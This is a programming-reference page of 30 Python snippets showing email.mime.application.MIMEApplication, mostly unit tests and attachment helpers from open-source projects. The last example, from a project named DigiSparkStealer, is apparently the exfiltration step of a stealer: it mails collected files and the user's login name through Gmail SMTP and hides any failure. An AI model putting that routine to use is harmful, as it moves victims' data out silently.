Python email.mime.application.MIMEApplication() Examples

The following are 30 code examples of email.mime.application.MIMEApplication(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module email.mime.application , or try the search function .
Example #1
Source File: test_email_renamed.py    From ironpython2 with Apache License 2.0 8 votes vote down vote up
def test_binary_body_with_encode_noop(self):
        # Issue 16564: This does not produce an RFC valid message, since to be
        # valid it should have a CTE of binary.  But the below works, and is
        # documented as working this way.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_noop)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)


# Test the basic MIMEText class 
Example #2
Source File: test_email.py    From airflow with Apache License 2.0 6 votes vote down vote up
def test_send_smtp(self, mock_send_mime):
        attachment = tempfile.NamedTemporaryFile()
        attachment.write(b'attachment')
        attachment.seek(0)
        utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name])
        self.assertTrue(mock_send_mime.called)
        call_args = mock_send_mime.call_args[0]
        self.assertEqual(conf.get('smtp', 'SMTP_MAIL_FROM'), call_args[0])
        self.assertEqual(['to'], call_args[1])
        msg = call_args[2]
        self.assertEqual('subject', msg['Subject'])
        self.assertEqual(conf.get('smtp', 'SMTP_MAIL_FROM'), msg['From'])
        self.assertEqual(2, len(msg.get_payload()))
        filename = 'attachment; filename="' + os.path.basename(attachment.name) + '"'
        self.assertEqual(filename, msg.get_payload()[-1].get('Content-Disposition'))
        mimeapp = MIMEApplication('attachment')
        self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload()) 
Example #3
Source File: test_email_renamed.py    From BinderFilter with MIT License 6 votes vote down vote up
def test_binary_body_with_encode_7or8bit(self):
        # Issue 17171.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_7or8bit)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        self.assertEqual(msg['Content-Transfer-Encoding'], '8bit')
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)
        self.assertEqual(msg2['Content-Transfer-Encoding'], '8bit') 
Example #4
Source File: test_email_renamed.py    From BinderFilter with MIT License 6 votes vote down vote up
def test_binary_body_with_encode_noop(self):
        # Issue 16564: This does not produce an RFC valid message, since to be
        # valid it should have a CTE of binary.  But the below works, and is
        # documented as working this way.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_noop)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)


# Test the basic MIMEText class 
Example #5
Source File: test_incoming_mail.py    From bitmask-dev with GNU General Public License v3.0 6 votes vote down vote up
def testExtractInvalidAttachedKey(self):
        KEY = "-----BEGIN PGP PUBLIC KEY BLOCK-----\n..."

        message = MIMEMultipart()
        message.add_header("from", ADDRESS_2)
        key = MIMEApplication("", "pgp-keys")
        key.set_payload(KEY)
        message.attach(key)
        self.fetcher._keymanager.put_raw_key = Mock(
            return_value=defer.fail(KeyAddressMismatch()))

        def put_raw_key_called(_):
            self.fetcher._keymanager.put_raw_key.assert_called_once_with(
                KEY, address=ADDRESS_2)

        d = self._do_fetch(message.as_string())
        d.addCallback(put_raw_key_called)
        d.addErrback(log.err)
        return d 
Example #6
Source File: test_email_renamed.py    From BinderFilter with MIT License 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        unless = self.assertTrue
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        unless(self._im.get_param('foo', failobj=missing,
                                  header='content-disposition') is missing)
        # Try some missing stuff
        unless(self._im.get_param('foobar', missing) is missing)
        unless(self._im.get_param('attachment', missing,
                                  header='foobar') is missing)



# Test the basic MIMEApplication class 
Example #7
Source File: test_email_renamed.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test_binary_body_with_encode_7or8bit(self):
        # Issue 17171.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_7or8bit)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        self.assertEqual(msg['Content-Transfer-Encoding'], '8bit')
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)
        self.assertEqual(msg2['Content-Transfer-Encoding'], '8bit') 
Example #8
Source File: test_email_renamed.py    From oss-ftp with MIT License 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        self.assertIs(self._im.get_param('foo', failobj=missing,
                                         header='content-disposition'),
                      missing)
        # Try some missing stuff
        self.assertIs(self._im.get_param('foobar', missing), missing)
        self.assertIs(self._im.get_param('attachment', missing,
                                         header='foobar'), missing)



# Test the basic MIMEApplication class 
Example #9
Source File: test_email_renamed.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        self.assertIs(self._im.get_param('foo', failobj=missing,
                                         header='content-disposition'),
                      missing)
        # Try some missing stuff
        self.assertIs(self._im.get_param('foobar', missing), missing)
        self.assertIs(self._im.get_param('attachment', missing,
                                         header='foobar'), missing)



# Test the basic MIMEApplication class 
Example #10
Source File: test_incoming_mail.py    From bitmask-dev with GNU General Public License v3.0 6 votes vote down vote up
def testExtractAttachedKey(self):
        KEY = "-----BEGIN PGP PUBLIC KEY BLOCK-----\n..."

        message = MIMEMultipart()
        message.add_header("from", ADDRESS_2)
        key = MIMEApplication("", "pgp-keys")
        key.set_payload(KEY)
        message.attach(key)
        self.fetcher._keymanager.put_raw_key = Mock(
            return_value=defer.succeed(None))

        def put_raw_key_called(_):
            self.fetcher._keymanager.put_raw_key.assert_called_once_with(
                KEY, address=ADDRESS_2)

        d = self._do_fetch(message.as_string())
        d.addCallback(put_raw_key_called)
        return d 
Example #11
Source File: test_email_renamed.py    From medicare-demo with Apache License 2.0 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        unless = self.failUnless
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        unless(self._im.get_param('foo', failobj=missing,
                                  header='content-disposition') is missing)
        # Try some missing stuff
        unless(self._im.get_param('foobar', missing) is missing)
        unless(self._im.get_param('attachment', missing,
                                  header='foobar') is missing)



# Test the basic MIMEApplication class 
Example #12
Source File: test_email_renamed.py    From oss-ftp with MIT License 6 votes vote down vote up
def test_binary_body_with_encode_7or8bit(self):
        # Issue 17171.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_7or8bit)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        self.assertEqual(msg['Content-Transfer-Encoding'], '8bit')
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)
        self.assertEqual(msg2['Content-Transfer-Encoding'], '8bit') 
Example #13
Source File: test_email_renamed.py    From oss-ftp with MIT License 6 votes vote down vote up
def test_binary_body_with_encode_noop(self):
        # Issue 16564: This does not produce an RFC valid message, since to be
        # valid it should have a CTE of binary.  But the below works, and is
        # documented as working this way.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_noop)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)


# Test the basic MIMEText class 
Example #14
Source File: aws.py    From streamalert with Apache License 2.0 6 votes vote down vote up
def _add_attachment(msg, name, content):
        """Add attachments to the msg

        Args:
            msg (MIMEMultipart): email to attach too
            name (str): name for the file to be attached
            content (str): content of the file to be attached (should be string)

        Returns:
            msg (MIMEMultipart): Email with the relevant attachments
        """
        LOGGER.debug("Attaching %s to msg", name)

        att = MIMEApplication(content)

        att.add_header("Content-Disposition", "attachment", filename=name)
        msg.attach(att)

        return msg 
Example #15
Source File: test_aws.py    From streamalert with Apache License 2.0 6 votes vote down vote up
def test_add_single_attachment(self):
        """SESOutput - Test single attachment"""
        rule_name = 'test_single_attachment'

        alert = get_random_alert(10, rule_name, omit_rule_desc=True)
        output = MagicMock(spec=SESOutput)
        alert_publication = compose_alert(alert, output, self.DESCRIPTOR)

        msg = SESOutput._build_email(alert, alert_publication, self.CREDS)

        # Verify attachment
        payloads = msg.get_payload()
        for payload in payloads:
            if isinstance(payload, MIMEApplication):
                assert_equal(payload.get_filename(), 'record.json')
                break
        else:
            # Raise an error if no payload of type MIMEApplication is found
            raise AssertionError 
Example #16
Source File: test_aws.py    From streamalert with Apache License 2.0 6 votes vote down vote up
def test_add_multiple_attachments(self):
        """SESOutput - Multiple attachments"""
        rule_name = 'test_multiple_attachments'

        alert = get_random_alert(10, rule_name, omit_rule_desc=True)
        output = MagicMock(spec=SESOutput)
        alert_publication = compose_alert(alert, output, self.DESCRIPTOR)

        # remove the default record
        alert_publication['@aws-ses.attach_record'] = False
        attachments = {
            'file_one.json': '{"test": true, "foo": "bar"}',
            'file_two.json': '{"test": true, "bar": "foo"}'
        }
        alert_publication['@aws-ses.attachments'] = attachments

        msg = SESOutput._build_email(alert, alert_publication, self.CREDS)

        # Tests
        payloads = msg.get_payload()
        for payload in payloads:
            if isinstance(payload, MIMEApplication):
                assert_true(payload.get_filename() in attachments.keys()) 
Example #17
Source File: test_leap_mailstore.py    From pixelated-user-agent with GNU Affero General Public License v3.0 6 votes vote down vote up
def test_extract_attachment_filename_with_or_without_quotes(self):
        input_mail = MIMEMultipart()
        input_mail.attach(MIMEText(u'a utf8 message', _charset='utf-8'))

        attachment_without_quotes = MIMEApplication('pretend to be an attachment from apple mail')
        attachment_without_quotes.add_header('Content-Disposition', 'u\'attachment;\n\tfilename=batatinha.rtf')
        input_mail.attach(attachment_without_quotes)

        attachment_with_quotes = MIMEApplication('pretend to be an attachment from thunderbird')
        attachment_with_quotes.add_header('Content-Disposition', 'u\'attachment; filename="receipt.pdf"')
        input_mail.attach(attachment_with_quotes)

        message = self._add_create_mail_mocks_to_soledad(input_mail)
        store = LeapMailStore(self.soledad)
        attachment_info = store._extract_attachment_info_from(message)

        self.assertEqual('batatinha.rtf', attachment_info[0].name)
        self.assertEqual('receipt.pdf', attachment_info[1].name) 
Example #18
Source File: test_email.py    From airflow with Apache License 2.0 6 votes vote down vote up
def test_send_bcc_smtp(self, mock_send_mime):
        attachment = tempfile.NamedTemporaryFile()
        attachment.write(b'attachment')
        attachment.seek(0)
        utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name], cc='cc', bcc='bcc')
        self.assertTrue(mock_send_mime.called)
        call_args = mock_send_mime.call_args[0]
        self.assertEqual(conf.get('smtp', 'SMTP_MAIL_FROM'), call_args[0])
        self.assertEqual(['to', 'cc', 'bcc'], call_args[1])
        msg = call_args[2]
        self.assertEqual('subject', msg['Subject'])
        self.assertEqual(conf.get('smtp', 'SMTP_MAIL_FROM'), msg['From'])
        self.assertEqual(2, len(msg.get_payload()))
        self.assertEqual('attachment; filename="' + os.path.basename(attachment.name) + '"',
                         msg.get_payload()[-1].get('Content-Disposition'))
        mimeapp = MIMEApplication('attachment')
        self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload()) 
Example #19
Source File: emailing.py    From pysystemtrade with GNU General Public License v3.0 6 votes vote down vote up
def send_mail_pdfs(preamble, filelist, subject):
    """
    Sends an email of files with preamble and subject line

    """

    # Create a text/plain message
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg.preamble = preamble

    for file in filelist:
        fp = open(file, 'rb')
        attach = MIMEApplication(fp.read(), 'pdf')
        fp.close()
        attach.add_header('Content-Disposition', 'attachment', filename='file.pdf')
        msg.attach(attach)

    _send_msg(msg) 
Example #20
Source File: test_email_renamed.py    From datafari with Apache License 2.0 6 votes vote down vote up
def test_binary_body_with_encode_noop(self):
        # Issue 16564: This does not produce an RFC valid message, since to be
        # valid it should have a CTE of binary.  But the below works, and is
        # documented as working this way.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_noop)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)


# Test the basic MIMEText class 
Example #21
Source File: test_email_renamed.py    From datafari with Apache License 2.0 6 votes vote down vote up
def test_binary_body_with_encode_7or8bit(self):
        # Issue 17171.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_7or8bit)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        self.assertEqual(msg['Content-Transfer-Encoding'], '8bit')
        s = StringIO()
        g = Generator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_string(wireform)
        self.assertEqual(msg.get_payload(), bytesdata)
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)
        self.assertEqual(msg2['Content-Transfer-Encoding'], '8bit') 
Example #22
Source File: send_mail.py    From rvt_model_services with MIT License 6 votes vote down vote up
def notify(prj_number, prj_path, journal_excerpt, subject="", attachment="", port=25):
    mail_server, mail_sender, mail_recipients = fetch_config(prj_number)
    if not subject:
        subject = "rvt model corrupt!!"
    if mail_server and  mail_sender and mail_recipients:
        mail_text = f"warning - rvt model {prj_number} at path {prj_path} : {subject}! \nsee: {journal_excerpt}"
        msg = MIMEMultipart()
        msg.attach(MIMEText(mail_text))
        msg['From'] = mail_sender
        msg['To'] = mail_recipients
        msg['Subject'] = f"{prj_number} - {subject}"

        if attachment:
            with open(attachment, "rb") as csv_file:
                part = MIMEApplication(
                    csv_file.read(),
                    Name=op.basename(attachment),
                )
                part['Content-Disposition'] = f'attachment; filename="{op.basename(attachment)}"'
                msg.attach(part)

        with smtplib.SMTP(f"{mail_server}:{port}") as smtp_con:
            smtp_con.send_message(msg) 
Example #23
Source File: __init__.py    From fence with Apache License 2.0 6 votes vote down vote up
def send_mail(send_from, send_to, subject, text, server, certificates=None):
    assert isinstance(send_to, list)
    msg = MIMEMultipart(
        From=send_from, To=COMMASPACE.join(send_to), Date=formatdate(localtime=True)
    )
    msg["Subject"] = subject
    msg.attach(MIMEText(text))

    for cert in certificates or []:
        application = MIMEApplication(cert.data, cert.extension)
        application.add_header(
            "Content-Disposition", 'attachment; filename="{}"'.format(cert.filename)
        )
        application.set_param("name", cert.filename)
        msg.attach(application)
    smtp = smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close() 
Example #24
Source File: mailer.py    From SecPi with GNU General Public License v3.0 6 votes vote down vote up
def prepare_mail_attachments(self):
		# first find the latest alarm folder
		subdirs = []
		for directory in os.listdir(self.data_dir):
			full_path = os.path.join(self.data_dir, directory)
			if os.path.isdir(full_path):
				subdirs.append(full_path)
		# TODO: check if subdirs is empty
		latest_subdir = max(subdirs, key=os.path.getmtime)
		logging.debug("Mailer: Will look into %s for data" % latest_subdir)
		#then iterate through it and attach all the files to the mail
		for file in os.listdir(latest_subdir):
			# check if it really is a file
			if os.path.isfile("%s/%s" % (latest_subdir, file)):
				f = open("%s/%s" % (latest_subdir, file), "rb")
				att = MIMEApplication(f.read())
				att.add_header('Content-Disposition','attachment; filename="%s"' % file)
				f.close()
				self.message.attach(att)
				logging.debug("Mailer: Attached file '%s' to message" % file)
			else:
				logging.debug("Mailer: %s is not a file" % file)
		# TODO: maybe log something if there are no files? 
Example #25
Source File: test_email.py    From ironpython3 with Apache License 2.0 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        self.assertIs(self._im.get_param('foo', failobj=missing,
                                         header='content-disposition'), missing)
        # Try some missing stuff
        self.assertIs(self._im.get_param('foobar', missing), missing)
        self.assertIs(self._im.get_param('attachment', missing,
                                         header='foobar'), missing)



# Test the basic MIMEApplication class 
Example #26
Source File: test_email_renamed.py    From datafari with Apache License 2.0 6 votes vote down vote up
def test_add_header(self):
        eq = self.assertEqual
        self._im.add_header('Content-Disposition', 'attachment',
                            filename='dingusfish.gif')
        eq(self._im['content-disposition'],
           'attachment; filename="dingusfish.gif"')
        eq(self._im.get_params(header='content-disposition'),
           [('attachment', ''), ('filename', 'dingusfish.gif')])
        eq(self._im.get_param('filename', header='content-disposition'),
           'dingusfish.gif')
        missing = []
        eq(self._im.get_param('attachment', header='content-disposition'), '')
        self.assertIs(self._im.get_param('foo', failobj=missing,
                                         header='content-disposition'),
                      missing)
        # Try some missing stuff
        self.assertIs(self._im.get_param('foobar', missing), missing)
        self.assertIs(self._im.get_param('attachment', missing,
                                         header='foobar'), missing)



# Test the basic MIMEApplication class 
Example #27
Source File: test_email.py    From ironpython3 with Apache License 2.0 6 votes vote down vote up
def test_binary_body_with_encode_7or8bit(self):
        # Issue 17171.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_7or8bit)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), '\uFFFD' * len(bytesdata))
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        self.assertEqual(msg['Content-Transfer-Encoding'], '8bit')
        s = BytesIO()
        g = BytesGenerator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_bytes(wireform)
        self.assertEqual(msg.get_payload(), '\uFFFD' * len(bytesdata))
        self.assertEqual(msg2.get_payload(decode=True), bytesdata)
        self.assertEqual(msg2['Content-Transfer-Encoding'], '8bit') 
Example #28
Source File: test_email.py    From ironpython3 with Apache License 2.0 6 votes vote down vote up
def test_binary_body_with_encode_noop(self):
        # Issue 16564: This does not produce an RFC valid message, since to be
        # valid it should have a CTE of binary.  But the below works in
        # Python2, and is documented as working this way.
        bytesdata = b'\xfa\xfb\xfc\xfd\xfe\xff'
        msg = MIMEApplication(bytesdata, _encoder=encoders.encode_noop)
        # Treated as a string, this will be invalid code points.
        self.assertEqual(msg.get_payload(), '\uFFFD' * len(bytesdata))
        self.assertEqual(msg.get_payload(decode=True), bytesdata)
        s = BytesIO()
        g = BytesGenerator(s)
        g.flatten(msg)
        wireform = s.getvalue()
        msg2 = email.message_from_bytes(wireform)
        self.assertEqual(msg.get_payload(), '\uFFFD' * len(bytesdata))
        self.assertEqual(msg2.get_payload(decode=True), bytesdata) 
Example #29
Source File: sendtokindle.py    From fb2mobi with MIT License 6 votes vote down vote up
def send_mail(self, files):
        msg = MIMEMultipart()
        msg['From'] = self.user_email
        msg['To'] = self.kindle_email
        msg['Subject'] = 'Convert' if self.convert else 'Sent to Kindle'
        msg.preamble = 'This email has been automatically sent by fb2mobi tool'

        for file_path in files:
            fname = os.path.basename(file_path)
            msg.attach(MIMEApplication(open(file_path, 'rb').read(), Content_Disposition='attachment; filename="%s"' % fname, Name=fname))

        mail_server = smtplib.SMTP(host=self.smtp_server, port=self.smtp_port)
        mail_server.starttls()
        mail_server.login(self.smtp_login, self.smtp_password)
        mail_server.sendmail(self.user_email, self.kindle_email, msg.as_string())
        mail_server.quit() 
Example #30
Source File: sendMail.py    From DigiSparkStealer with MIT License 6 votes vote down vote up
def send_message(self):
        subject = 'Digispark - User: ' + os.getlogin()
        text = self.get_text_mail()

        msg = MIMEMultipart()
        msg['From'] = self.source_mail
        msg['To'] = ", ".join(self.dest_mail)
        msg['Subject'] = subject

        msg.attach(MIMEText(text))
        for f in self.files:
            attachment = MIMEApplication(open(f, "rb").read(), _subtype="txt")
            attachment.add_header('Content-Disposition', 'attachment', filename=f)
            msg.attach(attachment)

        try:
            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.login(self.source_mail, self.source_pass)
            mailServer.sendmail(self.source_mail, self.dest_mail, msg.as_string())
            mailServer.close()
        except:
            pass